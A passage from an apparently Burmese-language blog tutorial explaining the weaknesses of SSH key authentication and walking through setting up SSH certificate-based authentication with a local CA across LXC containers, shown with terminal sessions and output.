ကိုလည်းထည့်သွင်း ဖော်ပြဘူးတာကြောင့် ဒီ article မှာတော့ အဲ့ဒီအကြောင်းတခုတည်းကို ရေးဖို့စိတ်ကူးဖြစ်ခဲ့ပါတယ်။ SSH workflow အကြောင်းကိုဖတ်ချင်ရင်တော့ ဒီ link <https://my.itmatic101.com/others/akhyekhan-ssh-workflow-myaa> ကနေသွားပြီးတော့ဖတ်လို့ရပါတယ်။

ပုံမှန်အားဖြင့် SSH မှာ username နဲ့ password ကိုအသုံးပြုနိုင်ပါတယ်။ သို့သော် လုံခြုံရေးအတွက် password ကိုရသလောက်ရှောင်ရှားသင့်ပါတယ်။ ဒီထက်တဆင့်မြင့်ပြီး password အစား SSH public/private key authentication ကိုအသုံးပြုနိုင်ပါတယ်။ Key authentication ဟာ လုံခြုံရေးအရရော၊ အဆင်ပြေမူအတွက်ရောနှစ်ခုလုံးအတွက် အသုံးတည့်နိုင်ပါတယ်။ ပြဿနာက ကြိုတင်ပြင်ဆင်ဖို့အတွက်လုပ်ရတဲ့ လုပ်ငန်းဆောင်တာတွေရှိတာရယ်၊ လုံခြုံရေးအတွက်ဟာကွက်တခုလည်းရှိနေပြန်ပါတယ်။

## Key based authentication ပြဿနာ

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2FCo7VktIcBZd7R3Pye3yf%2Fimage.png?alt=media&amp;token=a3bf4c91-5f17-4196-971d-d590d11abe1a" alt=""><figcaption><p>SSH Key Based Authentication</p></figcaption></figure>

### Key distribution နဲ့ management အခက်အခဲ

SSH ရဲ့ key authentication ကိုအသုံးပြုမယ်ဆိုရင် user တိုင်းဟာ ssh-keygen နဲ့ public/private keys pair တခုရှိဖို့လိုပါတယ်။ ဒီနေရာမှာတော့ ဒီ key pair တွေကိုဘယ်လိုမျိုး manage လုပ်နိုင်သလဲဆိုတာကို အသေးစိတ်မရှင်းလိုပါ။ တစ်ယောက်နဲ့ တစ်ယောက် key ကို manage လုပ်ပုံလည်းကွာခြားနိုင်တာမို့ workflow ပေါ်မှာပဲမူတည်နိုင်ပါတယ်။ ဟုတ်ပြီ... ssh-keygen နဲ့ rsa သို့မဟုတ် ed25519 key အမျိုးအစားတခုကို generate လုပ်ပြီးတာနဲ့ အဲ့ဒီ key pair ထဲ public key ကို ကိုယ် remote ဝင်ချင်တဲ့ server admin ကို share ပေးရပါတယ်။ အဲ့ဒီ public key နဲ့ server admin က user account တခုဖန်တီးပြီးတော့ အဲ့ဒီ account ရဲ့ authorized\_keys မှာကြိုပြီးတော့ထည့်ပေးရပါလိမ့်မယ်။ လုပ်ရတဲ့ အဆင့်တွေကအများကြီးမဟုတ်ပေမယ့်လည်း အဲ့ဒီ user ဟာ တခုထပ်ပိုတဲ့ remote server တွေကို remote ဝင်ဖို့အတွက်လိုအပ်ရင်တော့ ဖော်ပြပါ အဆင့်တွေကို နောက် server တလုံးပေါ်မှာလုပ်ရပါလိမ့်မယ်။ စာရေးသူအတွက်မှာတော့ ဒီလိုမျိုး တူညီတဲ့အဆင့်တွေကို ထပ်ခါထပ်ခါလုပ်တဲ့နေရာမှာ သက်ရှိထင်ရှားလူတစ်ယောက်ထပ်စာရင်၊ ဒီကိစ္စမျိုးမှာလူထက်သာတဲ့ computer machine တွေကိုသာ ပိုပြီးတော့ယုံကြည်စိတ်ချပါတယ်။ ဒီအတွက် automation ဟာအဖြေပါ။

နောက်တခုက... server တွေကို အကြောင်းအမျိုးမျိုးကြောင့် rebuild လုပ်တဲ့အခါမှာ အဲ့ဒီ key တွေကိုလည်းပြန်ပြီးတော့ user account တွေနဲ့ အတူတူပြန် configure လုပ်ရပါတယ်။ Git လိုမျိုး version control system တခုကို အသုံးမပြုဘူးဆိုရင် ဘယ် key ဟာဖြင့် ဘယ် user အတွက် up-to-date ဖြစ်သလဲဆိုတာမျိုး တခုချင်းစီလိုက်စစ်ဆေးရပါလိမ့်မယ်။ Automation ကိုသုံးလို့ရပေမယ့်လည်း စနစ်တကျတည်ဆောက်တဲ့ automation ဖြစ်ဖို့လိုပါလိမ့်မယ်။ ဒီလိုမှမဟုတ်ရင် အမှားများကာ troubleshoot ခဏခဏလုပ်ရလို့ အချိန်တွေကုန်ပြီး စိတ်ပင်ပန်းရလို့ automation ဆိုတဲ့ဟာကြီးကို မယုံကြည်လို့ မသုံးတော့တဲ့ culture တခုပေါက်ဖွားလာပါလိမ့်မယ်။ ဒါဟာ organisation တခုအတွက် မကောင်းတဲ့ လက္ခဏာတခုပါ။

### မလုံလောက်သေးတဲ့ လုံခြုံရေး

SSH ရဲ့ key based authentication မှာ TOFU (Trust On First Use) ဆိုတဲ့ model ကိုသုံးပါတယ်။ ဆိုလိုရင်းက ပထမဆုံးတခေါက်မှာ SSH နဲ့ key authentication လုပ်တဲ့အခါ အဲ့ဒီ remote host ကို known\_hosts ထဲမှာထည့်မလားမေးပါလိမ့်မယ်။ စာရေးသူ အပါအဝင် အခြားသော sysadmin တွေဟာ လုံလောက်တဲ့ verification မလုပ်ပဲနဲ့ yes လိုပဲ အလွယ်ဖြေတတ်ကြပါတယ်။ ထိုအတူ အဲ့ဒီ server တွေကို rebuild လုပ်တာပဲဖြစ်ဖြစ်၊ re-IP လုပ်တာပဲဖြစ်ဖြစ် known\_hosts ထဲက fingerprint တွေမတူတာဖြစ်ပါတယ်။ အဲ့ဒီအခါမှာ SSH က man-in-the-middle (MITM) attack ဆိုပြီး false positive alert ကိုပြပါတယ်။ သေချာပေါက်သိလို့ match မဖြစ်တဲ့ fingerprint ကိုဖယ်ပြီး ပြန်ထည့်လို့ရနိုင်ပေမယ့် လုံလောက်တဲ့ verification မရှိပဲနဲ့ အလွယ်တကူပြန်ထည့်တတ်ပါတယ်။ ဒါကြောင့် adversary တွေဘက်က အဲ့ဒီအားနည်းချက်တွေကို အခွင့်ကောင်းယူပြီး exploit လုပ်ချင်ကလုပ်လို့ရနိုင်ပါတယ်။

မှတ်မှတ်ရရ ၂၀၀၈ ခုနှစ်တုန်းက SSH key authentication အတွက် CVE တခုရှိခဲ့ဘူးပါတယ်။ Debian OpenSSL Predictable PRNG (CVE-2008-0166) ဆိုပြီးလူသိများပါတယ်။ ထို CVE အကြောင်းကိုအသေးစိတ်သိချင်ရင် ဒီ GitHub link <https://github.com/g0tmi1k/debian-ssh> မှာသွားရောက်လေ့လာနိုင်ပါတယ်။ Exploit ကိုဘယ်လိုသုံးသလဲဆိုတာကို နောက် article တခုမှာသပ်သပ်ရေးခဲ့ဘူးပါတယ်။ အဲ့ဒီ article ကိုဖတ်ချင်ရင်တော့ ဒီ link [https://my.itmatic101.com/offsec/khokme-taitme-papalhime-openssl ](https://my.itmatic101.com/offsec/khokme-taitme-papalhime-openssl)ကနေသွားဖတ်လို့ရပါတယ်။ ဒါကြောင့် SSH key authentication ဆိုတာနဲ့ ပြီးပြည့်စုံအောင် စိတ်မချရသေးပါ။

## SSH certificate based authentication ကိုဘယ်လို configure လုပ်ပုံအဆင့်ဆင့်

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fndu0arvITwZsYQ65Psmr%2Fimage.png?alt=media&amp;token=ce43a47e-72c3-442b-ae03-5cf09e39091c" alt=""><figcaption><p>SSH Certificate Based Authentication</p></figcaption></figure>

ဒီ labကို တည်ဆောက်ဖို့အတွက် စာရေးသူ LXC container နှစ်ခုကိုအသုံးပြုပါ့မယ်။ တခုကို server ကိုခေါ်ပြီး၊ နောက်တခုကိုတော့ client လို့ပဲအလွယ်ခေါ်လိုက်ပါ့မယ်။ စာရေးသူရဲ့ host machine ကိုတော့ certificate authority (CA) အနေနဲ့အသုံးပြုပြီး demo လုပ်ပြသွားပါ့မယ်။

### Server-side တွင် setup လုပ်ပုံ

* ပထမဆုံးလိုအပ်တဲ့ LXC container တွေကိုအရင်ဆုံးဖန်တီးလိုက်ရအောင်။

```bash
tyla@e32:~$ lxc launch ubuntu:22.04 server
Creating server
Starting server
tyla@e32:~$ lxc launch ubuntu:22.04 client
Creating client
Starting client
tyla@e32:~$ lxc list
+--------+---------+---------------------+-----------------------------------------------+-----------+-----------+
|  NAME  |  STATE  |        IPV4         |                     IPV6                      |   TYPE    | SNAPSHOTS |
+--------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| client | RUNNING | 10.93.72.162 (eth0) | fd42:1162:4742:8be6:216:3eff:fef9:3b76 (eth0) | CONTAINER | 0         |
+--------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server | RUNNING | 10.93.72.126 (eth0) | fd42:1162:4742:8be6:216:3eff:fea1:d898 (eth0) | CONTAINER | 0         |
+--------+---------+---------------------+-----------------------------------------------+-----------+-----------+
```

* နောက်အဆင့်အနေနဲ့ host machine ပေါ်မှာ certificate authority (CA) အတွက်အောက်ပါအတိုင်းပြင်ဆင်ပေးရပါလိမ့်မယ်။

```bash
tyla@e32:~$ mkdir ca
tyla@e32:~$ cd ca
tyla@e32:~/ca$ ssh-keygen -t rsa -f ca_key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ca_key
Your public key has been saved in ca_key.pub
The key fingerprint is:
SHA256:Pt2Cios3FkNLU770czquXMVk99Fu2ksJwr8IIPRVJNc tyla@e32
The key's randomart image is:
+---[RSA 3072]----+
|         ..+.    |
|      .   +  E . |
|     +   .o . . .|
|    = + .+.. . o |
|   o = =S oo .. o|
|    + o.++..o .+.|
|     o  ==o ...o.|
|   .+o oo.... o .|
|  .ooo+o.. . . . |
+----[SHA256]-----+
tyla@e32:~/ca$ ll
total 16
drwxrwxr-x  2 tyla tyla 4096 Oct  7 17:41 ./
drwxr-x--- 47 tyla tyla 4096 Oct  7 17:40 ../
-rw-------  1 tyla tyla 2590 Oct  7 17:41 ca_key
-rw-r--r--  1 tyla tyla  562 Oct  7 17:41 ca_key.pub

```

* ca\_key အဆင်သင့်ဖြစ်ပြီဆိုတာနဲ့ ca\_key.pub public key file ကို server ရဲ့ /etc/ssh/ directory မှာသွားထည့်ပေးပြီး၊ /etc/ssh/sshd\_config file ထဲမှာ `TrustedUserCAKeys /etc/ssh/ca_key.pub` ဆိုတဲ့ဟာနောက်ဆုံးမှာသွားထည့်ပေးလိုက်ပါ။

```bash
tyla@e32:~/ca$ scp ca_key.pub ubuntu@10.93.72.126:
The authenticity of host '10.93.72.126 (10.93.72.126)' can't be established.
ED25519 key fingerprint is SHA256:22zfeaYsF1TN9/zLvnxzF/niHzAe/sxb8R+pRt0cn+M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.93.72.126' (ED25519) to the list of known hosts.
ca_key.pub                                                                                                                                                  100%  562     1.3MB/s   00:00    
tyla@e32:~/ca$ lxc exec server bash
root@server:~# cp /home/ubuntu/ca_key.pub /etc/ssh/
root@server:~# cd /etc/ssh
root@server:/etc/ssh# ll
total 56
drwxr-xr-x  4 root root     15 Oct  7 06:53 ./
drwxr-xr-x 88 root root    176 Oct  7 06:36 ../
-rw-r--r--  1 root root    562 Oct  7 06:53 ca_key.pub
-rw-r--r--  1 root root 505426 Jun 26 13:11 moduli
-rw-r--r--  1 root root   1650 Jun 26 13:11 ssh_config
drwxr-xr-x  2 root root      2 Jun 26 13:11 ssh_config.d/
-rw-------  1 root root    505 Oct  7 06:35 ssh_host_ecdsa_key
-rw-r--r--  1 root root    173 Oct  7 06:35 ssh_host_ecdsa_key.pub
-rw-------  1 root root    399 Oct  7 06:35 ssh_host_ed25519_key
-rw-r--r--  1 root root     93 Oct  7 06:35 ssh_host_ed25519_key.pub
-rw-------  1 root root   2590 Oct  7 06:35 ssh_host_rsa_key
-rw-r--r--  1 root root    565 Oct  7 06:35 ssh_host_rsa_key.pub
-rw-r--r--  1 root root    342 Dec  7  2020 ssh_import_id
-rw-r--r--  1 root root   3254 Jun 26 13:11 sshd_config
drwxr-xr-x  2 root root      3 Oct  2 14:33 sshd_config.d/
root@server:/etc/ssh# echo "TrustedUserCAKeys /etc/ssh/ca_key.pub" >> sshd_config
```

* server ရဲ့ /etc/ssh/ directory ကနေ ssh\_host\_rsa\_key.pub ဆိုတဲ့ host public key file ကို CA ရဲ့ ca\_key ဆိုတဲ့ private key နဲ့ အောက်မှာပြထားသလိုမျိုး signing လုပ်ပေးဖို့လိုပါလိမ့်မယ်။ ပြီးရင်ထွက်လာတဲ့ cert file ကို /etc/ssh/ အောက်မှာပြန်ထည့်ပြီး `HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub` ဆိုတဲ့ဟာကို sshd\_config မှာထပ်ပေါင်းထည့်ပေးလိုက်ပါ။ sshd\_config ထဲမှာ change ထားတဲ့ဟာတွေကို apply လုပ်ဖို့အတွက် `systemctl reload sshd` ဆိုတဲ့ systemd command နဲ့ ssh server daemon ကို reload လုပ်လိုက်ပါ။

```bash
tyla@e32:~/ca$ lxc exec server bash       
root@server:~# cp /etc/ssh/ssh_host_rsa_key.pub /home/ubuntu/
root@server:~# 
exit
tyla@e32:~/ca$ scp ubuntu@10.93.72.126:ssh_host_rsa_key.pub .
ssh_host_rsa_key.pub                                                                                                                                        100%  565     1.4MB/s   00:00    
tyla@e32:~/ca$ ll
total 20
drwxrwxr-x  2 tyla tyla 4096 Oct  7 17:47 ./
drwxr-x--- 47 tyla tyla 4096 Oct  7 17:40 ../
-rw-------  1 tyla tyla 2590 Oct  7 17:41 ca_key
-rw-r--r--  1 tyla tyla  562 Oct  7 17:41 ca_key.pub
-rw-r--r--  1 tyla tyla  565 Oct  7 17:47 ssh_host_rsa_key.pub
tyla@e32:~/ca$ ssh-keygen -s ca_key -I Server -V +52w -h ssh_host_rsa_key.pub
Signed host key ssh_host_rsa_key-cert.pub: id "Server" serial 0 valid from 2024-10-07T18:03:00 to 2025-10-06T18:04:04
tyla@e32:~/ca$ ll
total 24
drwxrwxr-x  2 tyla tyla 4096 Oct  7 18:04 ./
drwxr-x--- 47 tyla tyla 4096 Oct  7 17:40 ../
-rw-------  1 tyla tyla 2590 Oct  7 17:41 ca_key
-rw-r--r--  1 tyla tyla  562 Oct  7 17:41 ca_key.pub
-rw-r--r--  1 tyla tyla 1822 Oct  7 18:04 ssh_host_rsa_key-cert.pub
-rw-r--r--  1 tyla tyla  565 Oct  7 17:47 ssh_host_rsa_key.pub
tyla@e32:~/ca$ scp ssh_host_rsa_key-cert.pub ubuntu@10.93.72.126:
ssh_host_rsa_key-cert.pub                                                                                                                                   100% 1822     5.4MB/s   00:00    
tyla@e32:~/ca$ lxc exec server bash
root@server:~# cp /home/ubuntu/ssh_host_rsa_key-cert.pub /etc/ssh/
root@server:~# cd /etc/ssh
root@server:/etc/ssh# ll
total 60
drwxr-xr-x  4 root root     16 Oct  7 07:07 ./
drwxr-xr-x 88 root root    176 Oct  7 06:36 ../
-rw-r--r--  1 root root    562 Oct  7 06:53 ca_key.pub
-rw-r--r--  1 root root 505426 Jun 26 13:11 moduli
-rw-r--r--  1 root root   1650 Jun 26 13:11 ssh_config
drwxr-xr-x  2 root root      2 Jun 26 13:11 ssh_config.d/
-rw-------  1 root root    505 Oct  7 06:35 ssh_host_ecdsa_key
-rw-r--r--  1 root root    173 Oct  7 06:35 ssh_host_ecdsa_key.pub
-rw-------  1 root root    399 Oct  7 06:35 ssh_host_ed25519_key
-rw-r--r--  1 root root     93 Oct  7 06:35 ssh_host_ed25519_key.pub
-rw-------  1 root root   2590 Oct  7 06:35 ssh_host_rsa_key
-rw-r--r--  1 root root   1822 Oct  7 07:07 ssh_host_rsa_key-cert.pub
-rw-r--r--  1 root root    565 Oct  7 06:35 ssh_host_rsa_key.pub
-rw-r--r--  1 root root    342 Dec  7  2020 ssh_import_id
-rw-r--r--  1 root root   3292 Oct  7 06:58 sshd_config
drwxr-xr-x  2 root root      3 Oct  2 14:33 sshd_config.d/
root@server:/etc/ssh# echo "HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub" >> sshd_config
root@server:/etc/ssh# systemctl reload sshd
```

### Client-side တွင် setup လုပ်ပုံ

* အရင်ဆုံးအနေနဲ့ client ရဲ့ /etc/ssh/ssh\_known\_hosts file ထဲမှာ ca\_key.pub မှာပါတဲ့ content နဲ့အောက်မှာပြထားတဲ့အတိုင်း ပေါင်းထည့်လိုက်ပါ။

```bash
tyla@e32:~/ca$ ssh ubuntu@10.93.72.162
The authenticity of host '10.93.72.162 (10.93.72.162)' can't be established.
ED25519 key fingerprint is SHA256:AIOkykOtO/XyKsnw5XpU8o+rXCNqlkbtJ3yXusBeCcQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.93.72.162' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Oct  7 07:20:12 UTC 2024

  System load:           2.06
  Usage of /home:        unknown
  Memory usage:          0%
  Swap usage:            0%
  Temperature:           37.0 C
  Processes:             26
  Users logged in:       0
  IPv4 address for eth0: 10.93.72.162
  IPv6 address for eth0: fd42:1162:4742:8be6:216:3eff:fef9:3b76

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@client:~$ sudo vi /etc/ssh/ssh_known_hosts
@cert-authority * ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm+MQ1z48TIUAlcC6XvBnTi6+wyYynpfVN1yxlt1JNrGCg8SCAgvvLaTYPLsriAfvq1mDql+tMqEJ6eATRdNPoqM4RQnrNpy7FCoGL6K4RUrVrlf7FAY6ImeCd07UtBWo5kXdajdBxGAKfk+JN8Dhe9iGIK981LxWlMFYiG81Y6uVFAwR3eqKUXK5Wr0WjGvZHjwzHjS/OCIVYnbontGOI9S8UU4K7wVGpv5+HH63OyRlnog2/66+/afRrL6vRyakMzqeC/Rv3h2vZ+MFq+GOM04O9Uv8TnZRpsAvFeSyPxEp2a7kxs7geDxeGuzdsyvQrn549NFIHiH2X7cdyxbqPzEavBvyLShtVrrY+sfgwLpzT5MoIzmj0CU2w9vJZQXi2VYY/9YxpRkN97Wcspjg7CZ5RdRugwAuiu/cMgV0OScm9qbymv8DF3sFdIFO6cxS96/fc5fxYp8LQoMVRMbjbRdllAodIH5qZ3FelF4BC9sGlzVSBiPOZI1nMX+g2MY0= tyla@e32
```

* Client ဘက်မှာလည်းလိုအပ်တဲ့ SSH key pair ကို generate လုပ်ပြီး ရလာတဲ့ public key ကို CA ရဲ့ private key နဲ့ အောက်မှာပြထားသလို signing လုပ်ပေးရပါလိမ့်မယ်။ Signing လုပ်ပြီးလိုရလာတဲ့ cert file ကိုတော့ client ဘက်မှာ ubuntu ဆိုတဲ့ user ရဲ့ .ssh/ directory အောက်မှာပြန်ထည့်ပေးရပါ့မယ်။

```bash
ubuntu@client:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ubuntu/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/ubuntu/.ssh/id_rsa
Your public key has been saved in /home/ubuntu/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ZaRDoGIN0QGgW8YVswkGausUTo3XdEtpn+m/kSWWCpg ubuntu@client
The key's randomart image is:
+---[RSA 3072]----+
|oo*+=+.+o .      |
|ooo=+=o+.o       |
|o=*o=...+ =      |
|+=+.  o  B  .    |
|.+   E .S  + .   |
|o       ..o +    |
| .       ..o     |
|           ..    |
|           ..    |
+----[SHA256]-----+
ubuntu@client:~$ 
logout
Connection to 10.93.72.162 closed.
tyla@e32:~/ca$ scp ubuntu@10.93.72.162:.ssh/id_rsa.pub .
id_rsa.pub                                                                                                                                                  100%  567     1.2MB/s   00:00    
tyla@e32:~/ca$ ll
total 28
drwxrwxr-x  2 tyla tyla 4096 Oct  7 18:27 ./
drwxr-x--- 47 tyla tyla 4096 Oct  7 18:06 ../
-rw-------  1 tyla tyla 2590 Oct  7 17:41 ca_key
-rw-r--r--  1 tyla tyla  562 Oct  7 17:41 ca_key.pub
-rw-r--r--  1 tyla tyla  567 Oct  7 18:27 id_rsa.pub
-rw-r--r--  1 tyla tyla 1822 Oct  7 18:04 ssh_host_rsa_key-cert.pub
-rw-r--r--  1 tyla tyla  565 Oct  7 17:47 ssh_host_rsa_key.pub
tyla@e32:~/ca$ ssh-keygen -s ca_key -I Client -n ubuntu -V +52w id_rsa.pub
Signed user key id_rsa-cert.pub: id "Client" serial 0 for ubuntu valid from 2024-10-07T18:27:00 to 2025-10-06T18:28:08
tyla@e32:~/ca$ ll
total 32
drwxrwxr-x  2 tyla tyla 4096 Oct  7 18:28 ./
drwxr-x--- 47 tyla tyla 4096 Oct  7 18:06 ../
-rw-------  1 tyla tyla 2590 Oct  7 17:41 ca_key
-rw-r--r--  1 tyla tyla  562 Oct  7 17:41 ca_key.pub
-rw-r--r--  1 tyla tyla 2016 Oct  7 18:28 id_rsa-cert.pub
-rw-r--r--  1 tyla tyla  567 Oct  7 18:27 id_rsa.pub
-rw-r--r--  1 tyla tyla 1822 Oct  7 18:04 ssh_host_rsa_key-cert.pub
-rw-r--r--  1 tyla tyla  565 Oct  7 17:47 ssh_host_rsa_key.pub
tyla@e32:~/ca$ scp id_rsa-cert.pub ubuntu@10.93.72.162:.ssh/
id_rsa-cert.pub                                                                                                                                             100% 2016     6.0MB/s   00:00    
```

* အခုဆိုရင်တော့ client ကနေ server ထဲကို SSH နဲ့ certificate based authentication လုပ်ဖို့အတွက် အဆင်သင့်ဖြစ်ပါပြီ။ စမ်းကြည့်လိုက်ရအောင်။

```bash
tyla@e32:~/ca$ ssh ubuntu@10.93.72.162
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Oct  7 07:29:15 UTC 2024

  System load:           1.08
  Usage of /home:        unknown
  Memory usage:          0%
  Swap usage:            0%
  Temperature:           40.0 C
  Processes:             26
  Users logged in:       0
  IPv4 address for eth0: 10.93.72.162
  IPv6 address for eth0: fd42:1162:4742:8be6:216:3eff:fef9:3b76


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '24.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Last login: Mon Oct  7 07:20:13 2024 from 10.93.72.1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@client:~$ ssh ubuntu@10.93.72.126
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Oct  7 07:31:09 UTC 2024

  System load:           1.27
  Usage of /home:        unknown
  Memory usage:          0%
  Swap usage:            0%
  Temperature:           39.0 C
  Processes:             26
  Users logged in:       0
  IPv4 address for eth0: 10.93.72.126
  IPv6 address for eth0: fd42:1162:4742:8be6:216:3eff:fea1:d898


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '24.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@server:~$ 
```

အထက်မှာမြင်ရတဲ့အတိုင်းပဲ client machine ကနေ remote server ထဲကို SSH certificate based authentication နဲ့ အောင်မြင်စွာဝင်လိုက်နိုင်ပါပြီ။ ဟုတ်ပြီ... နောက်တဆင့်အနေနဲ့ ပိုပြီး စိတ်ဝင်စားဖို့ကောင်းသွားအောင် နောက်ထပ် server တခုကိုအခုလက်ရှိ lab ထဲမှာထည့်တဲ့ လုပ်ငန်းစဉ်ကိုလေ့လာကြည့်ရအောင်။

### Server တခုထပ်ပေါင်းထည့်ခြင်း လုပ်ငန်းစဉ်

* နောက်ထပ်ပေါင်းထည့်မယ့် server ကိုတော့ server1 လို့ပဲအလွယ်ခေါ်လိုက်ရအောင်။ LXC container တခုကိုအောက်မှာ ဖော်ပြထားတဲ့အတိုင်း အရင်ဖန်တီးပေးလိုက်ပါ။

```bash
tyla@e32:~/ca$ lxc launch ubuntu:22.04 server1
Creating server1
Starting server1
tyla@e32:~/ca$ lxc list 
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
|  NAME   |  STATE  |        IPV4         |                     IPV6                      |   TYPE    | SNAPSHOTS |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| client  | RUNNING | 10.93.72.162 (eth0) | fd42:1162:4742:8be6:216:3eff:fef9:3b76 (eth0) | CONTAINER | 0         |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server  | RUNNING | 10.93.72.126 (eth0) | fd42:1162:4742:8be6:216:3eff:fea1:d898 (eth0) | CONTAINER | 0         |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| server1 | RUNNING | 10.93.72.220 (eth0) | fd42:1162:4742:8be6:216:3eff:fe26:bffb (eth0) | CONTAINER | 0         |
+---------+---------+---------------------+-----------------------------------------------+-----------+-----------+
```

* အရှေ့မှာလုပ်ဆောင်ခဲ့တဲ့ server-side ဘက်က setup ကိုခပ်သွပ်သွပ်လေးနောက်တခါလုပ်လိုက်ရအောင်ဗျ။ ဘယ်လိုမျိုးလုပ်မလဲဆိုတာကို အောက်မှာကြည့်လိုက်ရအောင်။

```bash
tyla@e32:~/ca$ scp ca_key.pub ubuntu@10.93.72.220:
The authenticity of host '10.93.72.220 (10.93.72.220)' can't be established.
ED25519 key fingerprint is SHA256:zomIP3dt9e24mfG4wqMWR5oHPcszxJnSp6YrkQmK5QM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.93.72.220' (ED25519) to the list of known hosts.
ca_key.pub                                                                                                                                                  100%  562     2.0MB/s   00:00    
tyla@e32:~/ca$ lxc exec server1 bash
root@server1:~# cp /home/ubuntu/ca_key.pub /etc/ssh/
root@server1:~# cd /etc/ssh
root@server1:/etc/ssh# ll
total 57
drwxr-xr-x  4 root root     15 Oct  7 09:58 ./
drwxr-xr-x 88 root root    176 Oct  7 09:53 ../
-rw-r--r--  1 root root    562 Oct  7 09:58 ca_key.pub
-rw-r--r--  1 root root 505426 Jun 26 13:11 moduli
-rw-r--r--  1 root root   1650 Jun 26 13:11 ssh_config
drwxr-xr-x  2 root root      2 Jun 26 13:11 ssh_config.d/
-rw-------  1 root root    505 Oct  7 09:53 ssh_host_ecdsa_key
-rw-r--r--  1 root root    174 Oct  7 09:53 ssh_host_ecdsa_key.pub
-rw-------  1 root root    399 Oct  7 09:53 ssh_host_ed25519_key
-rw-r--r--  1 root root     94 Oct  7 09:53 ssh_host_ed25519_key.pub
-rw-------  1 root root   2602 Oct  7 09:53 ssh_host_rsa_key
-rw-r--r--  1 root root    566 Oct  7 09:53 ssh_host_rsa_key.pub
-rw-r--r--  1 root root    342 Dec  7  2020 ssh_import_id
-rw-r--r--  1 root root   3254 Jun 26 13:11 sshd_config
drwxr-xr-x  2 root root      3 Oct  2 14:33 sshd_config.d/
root@server1:/etc/ssh# echo "TrustedUserCAKeys /etc/ssh/ca_key.pub" >> sshd_config
root@server1:/etc/ssh# cp ssh_host_rsa_key.pub /home/ubuntu/
root@server1:/etc/ssh# cd /home/ubuntu
root@server1:/home/ubuntu# ll
total 12
drwxr-x--- 4 ubuntu ubuntu    9 Oct  7 09:59 ./
drwxr-xr-x 3 root   root      3 Oct  7 09:53 ../
-rw-r--r-- 1 ubuntu ubuntu  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Jan  6  2022 .bashrc
drwx------ 2 ubuntu ubuntu    3 Oct  7 09:57 .cache/
-rw-r--r-- 1 ubuntu ubuntu  807 Jan  6  2022 .profile
drwx------ 2 ubuntu ubuntu    3 Oct  7 09:53 .ssh/
-rw-r--r-- 1 ubuntu ubuntu  562 Oct  7 09:57 ca_key.pub
-rw-r--r-- 1 root   root    566 Oct  7 09:59 ssh_host_rsa_key.pub
root@server1:/home/ubuntu# chown ubuntu:ubuntu ssh_host_rsa_key.pub 
root@server1:/home/ubuntu# ll
total 12
drwxr-x--- 4 ubuntu ubuntu    9 Oct  7 09:59 ./
drwxr-xr-x 3 root   root      3 Oct  7 09:53 ../
-rw-r--r-- 1 ubuntu ubuntu  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Jan  6  2022 .bashrc
drwx------ 2 ubuntu ubuntu    3 Oct  7 09:57 .cache/
-rw-r--r-- 1 ubuntu ubuntu  807 Jan  6  2022 .profile
drwx------ 2 ubuntu ubuntu    3 Oct  7 09:53 .ssh/
-rw-r--r-- 1 ubuntu ubuntu  562 Oct  7 09:57 ca_key.pub
-rw-r--r-- 1 ubuntu ubuntu  566 Oct  7 09:59 ssh_host_rsa_key.pub
